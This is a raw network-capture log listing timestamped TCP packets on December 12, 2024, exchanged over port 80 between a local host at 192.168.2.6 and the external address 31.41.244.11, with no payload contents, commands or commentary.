Dec 12, 2024 21:50:49.732640028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.732768059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.732772112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.732779026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.732806921 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.732820034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.733731031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.733865023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.734872103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.734992027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.735989094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.736102104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.737159967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.737238884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.737540007 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.737580061 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.738316059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.738435984 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.738471985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.738581896 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.740257978 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.740294933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.740643024 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.740797043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.741764069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.741904020 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.742677927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.742923975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.742974997 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.743053913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.743103027 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.744112968 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.744168043 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.744199038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.744242907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.745225906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.745275974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.745358944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.745404005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.746356964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.746444941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.747512102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.747657061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.748652935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.748740911 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.748771906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.748799086 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.749588013 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.749808073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.749871969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.749916077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.750968933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.751024961 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.751118898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.751159906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.752104998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.752150059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.752194881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.752233982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.753232002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.753375053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.754394054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.754488945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.754720926 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.754746914 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.755527020 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.755650997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.755966902 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.755997896 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.756686926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.756733894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.756772995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.756818056 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.757883072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.757926941 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.757956982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.758001089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.759007931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.759054899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.759095907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.759138107 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.760123968 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.760169029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.760230064 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.760271072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.761270046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.761313915 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.761419058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.761460066 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.762463093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.762506962 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.762690067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.762736082 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.763602972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.763648033 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.763685942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.763729095 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.764753103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.764799118 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.764833927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.764887094 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.765870094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.765916109 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.765984058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.766027927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.767100096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.767146111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.767187119 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.767225981 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.768265963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.768311977 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.768349886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.768389940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.769315958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.769362926 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.769416094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.769459963 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.770497084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.770541906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.770577908 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.770617962 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.771675110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.771719933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.771749020 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.771814108 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.772828102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.772881031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.773123026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.905446053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.905581951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.905621052 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.905693054 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.905788898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.905838966 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.905903101 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.905946970 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.906737089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.906786919 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.906847954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.906893015 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.907861948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.907911062 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.907917023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.907957077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.908502102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.908546925 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.908579111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.908623934 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.909132957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.909193039 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.909255981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.909303904 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.910286903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.910339117 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.910418987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.910466909 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.911428928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.911484957 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.911546946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.911604881 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.912583113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.912635088 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.912707090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.912756920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.913804054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.913858891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.914907932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.915023088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.915997982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.916033983 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.916148901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.917349100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.917383909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.918386936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.918482065 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.919509888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.919608116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.920655012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.920717001 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.921839952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.921875954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.922960043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.923088074 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.924129009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.924252987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.925271988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.925393105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.926400900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.926479101 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.927562952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.927599907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.928770065 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.928890944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.929860115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.929943085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.931030989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.931132078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.932225943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.932262897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.933332920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.933459044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.934046030 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.934338093 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.934434891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.934434891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.934446096 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.934478045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.934546947 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.934546947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.934765100 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.935621023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.935741901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.936393976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.936920881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.936959982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.936980963 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.937015057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.937932014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.938035965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.939054012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.939260960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.940201998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.940318108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.941638947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.941653013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.942536116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.942605019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.943680048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.943804026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.944823980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.944911957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.945969105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.946126938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.947103024 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.947251081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.948452950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.948626995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.950068951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.950105906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.950786114 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.950901031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.951877117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.951972008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.952863932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.952986956 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.953994036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.954164982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.954194069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.955182076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.955275059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.956228018 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.956245899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.956312895 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.956321001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.956387997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.956553936 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.956650019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.956741095 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.957462072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.957520962 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.957607031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.957712889 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.958621025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.958667994 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.958738089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.958787918 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.959743977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.959791899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.959861994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.959911108 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.960982084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.961033106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.961087942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.961136103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.962143898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.962202072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.962207079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.962296963 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.963226080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.963279009 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.963413954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.963464975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.964342117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.964411974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.964679003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.964729071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.965445042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.965492010 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.098131895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.098186970 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.098244905 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.098284960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.099384069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.099504948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.100411892 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.100765944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.100826979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.102001905 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.102159977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.103092909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.103202105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.104335070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.104372025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.105408907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.105539083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.106578112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.106673002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.107830048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.107960939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.108977079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.109014988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.110109091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.110291004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.111290932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.111399889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.112282991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.112397909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.113435984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.113553047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.114639044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.114737034 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.115731001 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.115839958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.116146088 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:50.116960049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.117036104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.118057966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.118161917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.119210958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.119288921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.120343924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.120457888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.121474028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.121602058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.122649908 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.122770071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.123774052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.123858929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.124912024 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:50.125047922 CET	80	49971	31.41.244.11	192.168.2.6
